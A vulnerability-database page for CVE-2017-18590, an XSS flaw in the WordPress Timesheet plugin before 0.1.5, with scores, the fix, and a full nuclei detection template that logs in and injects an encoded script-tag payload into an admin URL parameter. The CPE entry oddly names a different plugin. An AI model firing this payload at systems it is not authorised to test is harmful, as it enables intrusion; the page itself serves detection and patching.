Browse / CVEs / CVE-2017-18590
CVE-2017-18590· bestwebsoft / timesheet· CWE-79
Timesheet Plugin < 0.1.5 - Cross-Site Scripting
mediumseverity
6.1CVSS score
1.4%likelihood of exploitation, next 30 days
73%of all CVEs are less likely
Readycheck to confirm it
The Timesheet plugin before 0.1.5 for WordPress has multiple XSS issues.
Impact
Authenticated attackers can execute arbitrary JavaScript in victims' browsers, potentially stealing session cookies, credentials, or performing actions on behalf of users.
Fix
Update to version 0.1.5 or later.
How to confirm it
Send: GET /
Positive when: contains(body, "/wp-content/plugins/timesheet")
Send: POST /wp-login.php ; GET /wp-admin/admin.php?page=bws_panel&category=%22%3E%3C/script%3E%3Cscript%3Ealert(document.domain)%3C/script%3E
Positive when: status_code_2 == 200 and contains(header_2, "text/html") and contains(body_2, "></script><script>alert(document.domain)</script>\">All</a></li>")Run it with nuclei: nuclei -id CVE-2017-18590 -u <target>
The full check
id: CVE-2017-18590
info:
name: Timesheet Plugin < 0.1.5 - Cross-Site Scripting
author: Splint3r7
severity: medium
description: |
The Timesheet plugin before 0.1.5 for WordPress has multiple XSS issues.
impact: |
Authenticated attackers can execute arbitrary JavaScript in victims' browsers, potentially stealing session cookies, credentials, or performing actions on behalf of users.
remediation: |
Update to version 0.1.5 or later.
reference:
- https://wpscan.com/vulnerability/efd816c3-90d4-40bf-850a-0e4c1a756694/
- https://nvd.nist.gov/vuln/detail/CVE-2017-18590
- https://downloads.wordpress.org/plugin/timesheet
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2017-18590
cwe-id: CWE-79
epss-score: 0.01404
epss-percentile: 0.7279
cpe: cpe:2.3:a:bestwebsoft:promobar:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 3
vendor: bestwebsoft
product: timesheet
framework: wordpress
tags: cve,cve2017,wordpress,wp,wp-plugin,bws-promobar,xss,authenticated,timesheet,vuln
flow: http(1) && http(2)
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'contains(body, "/wp-content/plugins/timesheet")'
internal: true
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
log={{username}}&pwd={{password}}&wp-submit=Log+In
- |
GET /wp-admin/admin.php?page=bws_panel&category=%22%3E%3C/script%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code_2 == 200'
- 'contains(header_2, "text/html")'
- 'contains(body_2, "></script><script>alert(document.domain)</script>\">All</a></li>")'
condition: andReferences
- https://wpscan.com/vulnerability/efd816c3-90d4-40bf-850a-0e4c1a756694/
- https://nvd.nist.gov/vuln/detail/CVE-2017-18590
- https://downloads.wordpress.org/plugin/timesheet
Use this check only on systems you are authorised to test. Where the data comes from